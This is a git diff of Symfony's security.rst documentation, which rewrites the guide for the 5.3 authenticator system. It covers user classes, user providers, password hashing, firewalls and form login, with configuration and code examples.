diff --git a/security.rst b/security.rst
index 17940135f73..912ad871b1d 100644
--- a/security.rst
+++ b/security.rst
@@ -4,157 +4,270 @@
 Security
 ========
 
-.. admonition:: Screencast
-    :class: screencast
 
-    Do you prefer video tutorials? Check out the `Symfony Security screencast series`_.
+Symfony provides many tools to secure your application. Some HTTP-related
+security tools, like :doc:`secure session cookies </session>` and
+:doc:`CSRF protection </security/csrf>` are provided by default. The
+SecurityBundle, which you will learn about in this guide, provides all
+authentication and authorization features needed to secure your
+application.
 
-Symfony's security system is incredibly powerful, but it can also be confusing
-to set up. Don't worry! In this article, you'll learn how to set up your app's
-security system step-by-step:
-
-#. :ref:`Installing security support <security-installation>`;
+.. _security-installation:
 
-#. :ref:`Create your User Class <create-user-class>`;
+To get started, install the SecurityBundle:
 
-#. :ref:`Authentication & Firewalls <security-yaml-firewalls>`;
+.. code-block:: terminal
 
-#. :ref:`Denying access to your app (authorization) <security-authorization>`;
+    $ composer require symfony/security-bundle
 
-#. :ref:`Fetching the current User object <retrieving-the-user-object>`.
+If you have :ref:`Symfony Flex <symfony-flex>` installed, this also
+creates a ``security.yaml`` configuration file for you:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        password_hashers:
+            Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
+        # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
+        providers:
+            users_in_memory: { memory: null }
+        firewalls:
+            dev:
+                pattern: ^/(_(profiler|wdt)|css|images|js)/
+                security: false
+            main:
+                lazy: true
+                provider: users_in_memory
+
+                # activate different ways to authenticate
+                # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                # https://symfony.com/doc/current/security/impersonating_user.html
+                # switch_user: true
+
+        # Easy way to control access for large sections of your site
+        # Note: Only the *first* access control that matches will be used
+        access_control:
+            # - { path: ^/admin, roles: ROLE_ADMIN }
+            # - { path: ^/profile, roles: ROLE_USER }
+
+That's a lot of config! In the next sections, the three main elements are
+discussed:
+
+`The User`_ (``providers``)
+    Any secured section of your application needs some concept of
+    a user. The user provider loads users from any storage (e.g. the
+    database) based on a "user identifier" (e.g. the user's email address);
+
+`The Firewall`_ & `Authenticating Users`_ (``firewalls``)
+    The firewall is the core of securing your application. Every request
+    within the firewall is checked if it needs an authenticated user. The
+    firewall also takes care of authenticating this user (e.g. using a
+    login form);
+
+`Access Control (Authorization)`_ (``access_control``)
+    Using access control and the authorization checker, you control the
+    required permissions to perform a specific action or visit a specific
+    URL.
+
+.. caution::
+
+    Symfony Security has received major changes in 5.3. This article
+    explains the *new authenticator-based* system (identified by the
+    ``enable_authenticator_manager: true`` config option).
+
+    Refer to the `5.2 version of this documentation`_ if you're still using
+    the legacy security system.
 
-A few other important topics are discussed after.
+.. _create-user-class:
+.. _a-create-your-user-class:
 
-.. _security-installation:
+The User
+--------
 
-1) Installation
----------------
+Permissions in Symfony are always linked to a user object. If you need to
+secure (parts of) your application, you need to create a user class. This
+is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
+This is often a Doctrine entity, but you can also use a dedicated
+Security user class.
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the security feature before using it:
+The easiest way to generate a user class is using the ``make:user`` command
+from the `MakerBundle`_:
 
 .. code-block:: terminal
 
-    $ composer require symfony/security-bundle
+    $ php bin/console make:user
+     The name of the security user class (e.g. User) [User]:
+     > User
 
+     Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
+     > yes
 
-.. tip::
+     Enter a property name that will be the unique "display" name for the user (e.g. email, username, uuid) [email]:
+     > email
 
-    A :doc:`new experimental Security </security/experimental_authenticators>`
-    was introduced in Symfony 5.1, which will eventually replace security in
-    Symfony 6.0. This system is almost fully backwards compatible with the
-    current Symfony security, add this line to your security configuration to start
-    using it:
+     Will this app need to hash/check user passwords? Choose No if passwords are not needed or will be checked/hashed by some other system (e.g. a single sign-on server).
 
-    .. configuration-block::
+     Does this app need to hash/check user passwords? (yes/no) [yes]:
+     > yes
 
-        .. code-block:: yaml
+     created: src/Entity/User.php
+     created: src/Repository/UserRepository.php
+     updated: src/Entity/User.php
+     updated: config/packages/security.yaml
 
-            # config/packages/security.yaml
-            security:
-                enable_authenticator_manager: true
-                # ...
+.. code-block:: php
 
-        .. code-block:: xml
+    // src/Entity/User.php
+    namespace App\Entity;
 
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+    use App\Repository\UserRepository;
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
 
-                <config enable-authenticator-manager="true">
-                    <!-- ... -->
-                </config>
-            </srv:container>
+    /**
+     * @ORM\Entity(repositoryClass=UserRepository::class)
+     */
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        /**
+         * @ORM\Id
+         * @ORM\GeneratedValue
+         * @ORM\Column(type="integer")
+         */
+        private $id;
 
-        .. code-block:: php
+        /**
+         * @ORM\Column(type="string", length=180, unique=true)
+         */
+        private $email;
 
-            // config/packages/security.php
-            $container->loadFromExtension('security', [
-                'enable_authenticator_manager' => true,
-                // ...
-            ]);
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
 
-.. _initial-security-yml-setup-authentication:
-.. _initial-security-yaml-setup-authentication:
-.. _create-user-class:
+        /**
+         * @var string The hashed password
+         * @ORM\Column(type="string")
+         */
+        private $password;
 
-2a) Create your User Class
---------------------------
+        public function getId(): ?int
+        {
+            return $this->id;
+        }
 
-No matter *how* you will authenticate (e.g. login form or API tokens) or *where*
-your user data will be stored (database, single sign-on), the next step is always the same:
-create a "User" class. The easiest way is to use the `MakerBundle`_.
+        public function getEmail(): ?string
+        {
+            return $this->email;
+        }
 
-Let's assume that you want to store your user data in the database with Doctrine:
+        public function setEmail(string $email): self
+        {
+            $this->email = $email;
 
-.. code-block:: terminal
+            return $this;
+        }
 
-    $ php bin/console make:user
+        /**
+         * The public representation of the user (e.g. a username, an email address, etc.)
+         *
+         * @see UserInterface
+         */
+        public function getUserIdentifier(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @deprecated since Symfony 5.3
+         */
+        public function getUsername(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @see UserInterface
+         */
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
 
-    The name of the security user class (e.g. User) [User]:
-    > User
+            return array_unique($roles);
+        }
 
-    Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
-    > yes
+        public function setRoles(array $roles): self
+        {
+            $this->roles = $roles;
 
-    Enter a property name that will be the unique "display" name for the user (e.g.
-    email, username, uuid [email]
-    > email
+            return $this;
+        }
 
-    Does this app need to hash/check user passwords? (yes/no) [yes]:
-    > yes
+        /**
+         * @see PasswordAuthenticatedUserInterface
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
 
-    created: src/Entity/User.php
-    created: src/Repository/UserRepository.php
-    updated: src/Entity/User.php
-    updated: config/packages/security.yaml
+        public function setPassword(string $password): self
+        {
+            $this->password = $password;
 
-That's it! The command asks several questions so that it can generate exactly what
-you need. The most important is the ``User.php`` file itself. The *only* rule about
-your ``User`` class is that it *must* implement :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-Feel free to add *any* other fields or logic you need. If your ``User`` class is
-an entity (like in this example), you can use the :ref:`make:entity command <doctrine-add-more-fields>`
-to add more fields. Also, make sure to make and run a migration for the new entity:
+            return $this;
+        }
 
-.. code-block:: terminal
+        /**
+         * Returning a salt is only needed, if you are not using a modern
+         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
+         *
+         * @see UserInterface
+         */
+        public function getSalt(): ?string
+        {
+            return null;
+        }
 
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
+        /**
+         * @see UserInterface
+         */
+        public function eraseCredentials()
+        {
+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
-.. _security-user-providers:
-.. _where-do-users-come-from-user-providers:
+.. versionadded:: 5.3
 
-2b) The "User Provider"
------------------------
+    The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+    interface and ``getUserIdentifier()`` method were introduced in Symfony 5.3.
 
-In addition to your ``User`` class, you also need a "User provider": a class that
-helps with a few things, like reloading the User data from the session and some
-optional features, like :doc:`remember me </security/remember_me>` and
-:doc:`impersonation </security/impersonating_user>`.
+If your user is a Doctrine entity, like in the example above, don't forget
+to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`:
 
-Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key.
+.. code-block:: terminal
 
-If your ``User`` class is an entity, you don't need to do anything else. But if
-your class is *not* an entity, then ``make:user`` will also have generated a
-``UserProvider`` class that you need to finish. Learn more about user providers
-here: :doc:`User Providers </security/user_provider>`.
+    $ php bin/console make:migration
+    $ php bin/console doctrine:migrations:migrate
 
-.. _security-encoding-user-password:
-.. _encoding-the-user-s-password:
+.. _where-do-users-come-from-user-providers:
+.. _security-user-providers:
 
-2c) Encoding Passwords
-----------------------
+Loading the User: The User Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are encoded in ``security.yaml``. The ``make:user``
-command will pre-configure this for you:
+Besides creating the entity, the ``make:user`` command also adds config
+for a user provider in your security configuration:
 
 .. configuration-block::
 
@@ -164,18 +277,16 @@ command will pre-configure this for you:
         security:
             # ...
 
-            encoders:
-                # use your user class name here
-                App\Entity\User:
-                    # Use native password encoder
-                    # This value auto-selects the best possible hashing algorithm
-                    # (i.e. Sodium when available).
-                    algorithm: auto
+            providers:
+                app_user_provider:
+                    entity:
+                        class: App\Entity\User
+                        property: email
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -187,11 +298,9 @@ command will pre-configure this for you:
             <config>
                 <!-- ... -->
 
-                <encoder class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"/>
-
-                <!-- ... -->
+                <provider name="app_user_provider">
+                    <entity class="App\Entity\User" property="email"/>
+                </provider>
             </config>
         </srv:container>
 
@@ -199,88 +308,210 @@ command will pre-configure this for you:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ]
-            ],
-
+        return static function (SecurityConfig $security) {
             // ...
-        ]);
 
-Now that Symfony knows *how* you want to encode the passwords, you can use the
-``UserPasswordEncoderInterface`` service to do this before saving your users to
-the database.
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email')
+            ;
+        };
 
-.. _user-data-fixture:
+This user provider knows how to (re)load users from a storage (e.g. a database)
+based on a "user identifier" (e.g. the user's email address or username).
+The configuration above uses Doctrine to load the ``User`` entity using the
+``email`` property as "user identifier".
+
+User providers are used in a couple places during the security lifecycle:
+
+**Load the User based on an identifier**
+    During login (or any other authenticator), the provider loads the user
+    based on the user identifier. Some other features, like
+    :doc:`user impersonation </security/impersonating_user>` and
+    :doc:`Remember Me </security/remember_me>` also use this.
+
+**Reload the User from the session**
+    At the beginning of each request, the user is loaded from the
+    session (unless your firewall is ``stateless``). The provider
+    "refreshes" the user (e.g. the database is queried again for fresh
+    data) to make sure all user information is up to date (and if
+    necessary, the user is de-authenticated/logged out if something
+    changed). See :ref:`user_session_refresh` for more information about
+    this process.
+
+Symfony comes with several built-in user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+The built-in user providers cover the most common needs for applications, but you
+can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
-For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can
-create dummy database users:
+.. note::
 
-.. code-block:: terminal
+    Sometimes, you need to inject the user provider in another class (e.g.
+    in your custom authenticator). All user providers follow this pattern
+    for their service ID: ``security.user.provider.concrete.<your-provider-name>``
+    (where ``<your-provider-name>`` is the configuration key, e.g.
+    ``app_user_provider``). If you only have one user provider, you can autowire
+    it using the :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`
+    type-hint.
 
-    $ php bin/console make:fixtures
+.. _security-encoding-user-password:
 
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > UserFixtures
+Registering the User: Hashing Passwords
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use this service to encode the passwords:
+Many applications require a user to log in with a password. For these
+applications, the SecurityBundle provides password hashing and verification
+functionality.
 
-.. code-block:: diff
+First, make sure your User class implements the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`::
 
-    // src/DataFixtures/UserFixtures.php
+    // src/Entity/User.php
 
-    + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
-    class UserFixtures extends Fixture
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-    +     private $passwordEncoder;
-
-    +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
-    +     {
-    +         $this->passwordEncoder = $passwordEncoder;
-    +     }
+        // ...
 
-        public function load(ObjectManager $manager)
+        /**
+         * @return string the hashed password for this user
+         */
+        public function getPassword(): string
         {
-            $user = new User();
+            return $this->password;
+        }
+    }
+
+Then, configure which password hasher should be used for this class. If your
+``security.yaml`` file wasn't already pre-configured, then ``make:user`` should
+have done this for you:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                # Use native password hasher, which auto-selects and migrates the best
+                # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- Use native password hasher, which auto-selects and migrates the best
+                     possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
+                <password-hasher class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" algorithm="auto"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-    +         $user->setPassword($this->passwordEncoder->encodePassword(
-    +             $user,
-    +             'the_new_password'
-    +         ));
+            // Use native password hasher, which auto-selects and migrates the best
+            // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+Now that Symfony knows *how* you want to hash the passwords, you can use the
+``UserPasswordHasherInterface`` service to do this before saving your users to
+the database::
+
+    // src/Controller/RegistrationController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class RegistrationController extends AbstractController
+    {
+        public function index(UserPasswordHasherInterface $passwordHasher)
+        {
+            // ... e.g. get the user data from a registration form
+            $user = new User(...);
+            $plaintextPassword = ...;
+
+            // hash the password (based on the security.yaml config for the $user class)
+            $hashedPassword = $passwordHasher->hashPassword(
+                $user,
+                $plaintextPassword
+            );
+            $user->setPassword($hashedPassword);
 
             // ...
         }
     }
 
-You can manually encode a password by running:
+.. tip::
 
-.. code-block:: terminal
+    The ``make:registration-form`` maker command can help you set-up the
+    registration controller and add features like email address
+    verification using the `SymfonyCastsVerifyEmailBundle`_.
 
-    $ php bin/console security:encode-password
+    .. code-block:: terminal
 
-.. _security-yaml-firewalls:
-.. _security-firewalls:
-.. _firewalls-authentication:
+        $ composer require symfonycasts/verify-email-bundle
+        $ php bin/console make:registration-form
 
-3a) Authentication & Firewalls
-------------------------------
+You can also manually hash a password by running:
 
-.. versionadded:: 5.1
+.. code-block:: terminal
+
+    $ php bin/console security:hash-password
 
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
+Read more about all available hashers and password migration in
+:doc:`security/passwords`.
 
-The security system is configured in ``config/packages/security.yaml``. The *most*
-important section is ``firewalls``:
+.. _firewalls-authentication:
+.. _a-authentication-firewalls:
+
+The Firewall
+------------
+
+The ``firewalls`` section of ``config/packages/security.yaml`` is the *most*
+important section. A "firewall" is your authentication system: the firewall
+defines which parts of your application are secured and *how* your users
+will be able to authenticate (e.g. login form, API token, etc).
 
 .. configuration-block::
 
@@ -288,18 +519,25 @@ important section is ``firewalls``:
 
         # config/packages/security.yaml
         security:
+            # ...
             firewalls:
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: true
                     lazy: true
+                    provider: users_in_memory
+
+                    # activate different ways to authenticate
+                    # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                    # https://symfony.com/doc/current/security/impersonating_user.html
+                    # switch_user: true
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -309,63 +547,69 @@ important section is ``firewalls``:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
+                <!-- ... -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
                 <firewall name="main"
-                    anonymous="true"
                     lazy="true"/>
-                </firewall>
+
+                <!-- activate different ways to authenticate
+                     https://symfony.com/doc/current/security.html#firewalls-authentication -->
+
+                <!-- https://symfony.com/doc/current/security/impersonating_user.html -->
+                <!-- <switch-user/> -->
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'dev' => [
-                    'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
-                    'security' => false,
-                ],
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                ],
-            ],
-        ]);
-
-A "firewall" is your authentication system: the configuration below it defines
-*how* your users will be able to authenticate (e.g. login form, API token, etc).
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('dev')
+                ->pattern('^/(_(profiler|wdt)|css|images|js)/')
+                ->security(false)
+            ;
+
+            $security->firewall('main')
+                ->lazy(true)
+
+                // activate different ways to authenticate
+                // https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                // https://symfony.com/doc/current/security/impersonating_user.html
+                // ->switchUser(true)
+            ;
+        };
 
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
-to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`).
-The ``dev`` firewall is really a fake firewall: it makes sure that you don't
-accidentally block Symfony's dev tools - which live under URLs like ``/_profiler``
-and ``/_wdt``.
+to find the first match (you can also
+:doc:`match by host or other things </security/firewall_restriction>`).
+
+The ``dev`` firewall is really a fake firewall: it makes sure that you
+don't accidentally block Symfony's dev tools - which live under URLs like
+``/_profiler`` and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
-user is unknown (i.e. not logged in) when they first visit your website. The
-``anonymous`` mode, if enabled, is used for these requests.
+in other words many ways to ask the question "Who are you?".
 
-In fact, if you go to the homepage right now, you *will* have access and you'll
-see that you're "authenticated" as ``anon.``. The firewall verified that it
-does not know your identity, and so, you are anonymous:
+Often, the user is unknown (i.e. not logged in) when they first visit your
+website. If you visit your homepage right now, you *will* have access and
+you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-It means any request can have an anonymous token to access some resource,
-while some actions (i.e. some pages or buttons) can still require specific
-privileges. A user can then access a form login without being authenticated
-as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
-
-You'll learn later how to deny access to certain URLs, controllers, or part of
-templates.
+Visiting a URL under a firewall doesn't necessarily require you to be authenticated
+(e.g. the login form has to be accessible or some parts of your application
+are public). You'll learn how to restrict access to URLs, controllers or
+anything else within your firewall in the :ref:`access control
+<security-access-control>` section.
 
 .. tip::
 
@@ -376,7 +620,8 @@ templates.
 
 .. note::
 
-    If you do not see the toolbar, install the :doc:`profiler </profiler>` with:
+    If you do not see the toolbar, install the :doc:`profiler </profiler>`
+    with:
 
     .. code-block:: terminal
 
@@ -385,117 +630,69 @@ templates.
 Now that we understand our firewall, the next step is to create a way for your
 users to authenticate!
 
-.. _security-form-login:
+.. _security-authenticators:
 
-3b) Authenticating your Users
------------------------------
+Authenticating Users
+--------------------
 
-Authentication in Symfony can feel a bit "magic" at first. That's because, instead
-of building a route & controller to handle login, you'll activate an
-*authentication provider*: some code that runs automatically *before* your controller
-is called.
+During authentication, the system tries to find a matching user for the
+visitor of the webpage. Traditionally, this was done using a login form or
+a HTTP basic dialog in the browser. However, the SecurityBundle comes with
+many other authenticators:
 
-Symfony has several :doc:`built-in authentication providers </security/auth_providers>`.
-If your use-case matches one of these *exactly*, great! But, in most cases - including
-a login form - *we recommend building a Guard Authenticator*: a class that allows
-you to control *every* part of the authentication process (see the next section).
+* `Form Login`_
+* `JSON Login`_
+* `HTTP Basic`_
+* `Login Link`_
+* `X.509 Client Certificates`_
+* `Remote users`_
+* :doc:`Custom Authenticators </security/custom_authenticator>`
 
 .. tip::
 
-    If your application logs users in via a third-party service such as Google,
-    Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ community
-    bundle.
-
-Guard Authenticators
-~~~~~~~~~~~~~~~~~~~~
+    If your application logs users in via a third-party service such as
+    Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
+    community bundle.
 
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
+.. _security-form-login:
 
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+Form Login
+~~~~~~~~~~
 
-.. _`security-authorization`:
-.. _denying-access-roles-and-other-authorization:
+Most websites have a login form where users authenticate using an
+identifier (e.g. email address or username) and a password. This
+functionality is provided by the *form login authenticator*.
 
-4) Denying Access, Roles and other Authorization
-------------------------------------------------
+First, create a controller for the login form:
 
-Users can now log in to your app using your login form. Great! Now, you need to learn
-how to deny access and work with the User object. This is called **authorization**,
-and its job is to decide if a user can access some resource (a URL, a model object,
-a method call, ...).
+.. code-block:: terminal
 
-The process of authorization has two different sides:
+    $ php bin/console make:controller Login
 
-#. The user receives a specific set of roles when logging in (e.g. ``ROLE_ADMIN``).
-#. You add code so that a resource (e.g. URL, controller) requires a specific
-   "attribute" (most commonly a role like ``ROLE_ADMIN``) in order to be
-   accessed.
+     created: src/Controller/LoginController.php
+     created: templates/login/index.html.twig
 
-Roles
-~~~~~
+.. code-block:: php
 
-When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
-object to determine which roles this user has. In the ``User`` class that we
-generated earlier, the roles are an array that's stored in the database, and
-every user is *always* given at least one role: ``ROLE_USER``::
+    // src/Controller/LoginController.php
+    namespace App\Controller;
 
-    // src/Entity/User.php
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-    // ...
-    class User
+    class LoginController extends AbstractController
     {
-        /**
-         * @ORM\Column(type="json")
-         */
-        private $roles = [];
-
-        // ...
-        public function getRoles(): array
+        #[Route('/login', name: 'login')]
+        public function index(): Response
         {
-            $roles = $this->roles;
-            // guarantee every user at least has ROLE_USER
-            $roles[] = 'ROLE_USER';
-
-            return array_unique($roles);
+            return $this->render('login/index.html.twig', [
+                'controller_name' => 'LoginController',
+            ]);
         }
     }
 
-This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
-
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
-
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
-
-You'll use these roles next to grant access to specific sections of your site.
-You can also use a :ref:`role hierarchy <security-role-hierarchy>` where having
-some roles automatically give you other roles.
-
-.. _security-role-authorization:
-
-Add Code to Deny Access
-~~~~~~~~~~~~~~~~~~~~~~~
-
-There are **two** ways to deny access to something:
-
-#. :ref:`access_control in security.yaml <security-authorization-access-control>`
-   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
-
-#. :ref:`in your controller (or other code) <security-securing-controller>`.
-
-.. _security-authorization-access-control:
-
-Securing URL patterns (access_control)
-......................................
-
-The most basic way to secure part of your app is to secure an entire URL pattern
-in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
-start with ``/admin``, you can:
+Then, enable the form login authenticator using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -506,25 +703,1343 @@ start with ``/admin``, you can:
             # ...
 
             firewalls:
-                # ...
                 main:
                     # ...
+                    form_login:
+                        # "login" is the name of the route created previously
+                        login_path: login
+                        check_path: login
 
-            access_control:
-                # require ROLE_ADMIN for /admin*
-                - { path: '^/admin', roles: ROLE_ADMIN }
-
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+    .. code-block:: xml
 
-                # the 'path' value can be any valid regular expression
-                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <!-- "login" is the name of the route created previously -->
+                    <form-login login-path="login" check-path="login"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+
+            // "login" is the name of the route created previously
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
+
+.. note::
+
+    The ``login_path`` and ``check_path`` support URLs and route names (but
+    cannot have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo``
+    has no default value).
+
+Once enabled, the security system redirects unauthenticated visitors to the
+``login_path`` when they try to access a secured place (this behavior can
+be customized using :ref:`authentication entry points <security-entry-point>`).
+
+Edit the login controller to render the login form:
+
+.. code-block:: diff
+
+      // ...
+    + use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
+
+      class LoginController extends AbstractController
+      {
+          #[Route('/login', name: 'login')]
+    -     public function index(): Response
+    +     public function index(AuthenticationUtils $authenticationUtils): Response
+          {
+    +         // get the login error if there is one
+    +         $error = $authenticationUtils->getLastAuthenticationError();
+    +
+    +         // last username entered by the user
+    +         $lastUsername = $authenticationUtils->getLastUsername();
+    +
+              return $this->render('login/index.html.twig', [
+    -             'controller_name' => 'LoginController',
+    +             'last_username' => $lastUsername,
+    +             'error'         => $error,
+              ]);
+          }
+      }
+
+Don't let this controller confuse you. Its job is only to *render* the form:
+the ``form_login`` authenticator will handle the form *submission* automatically.
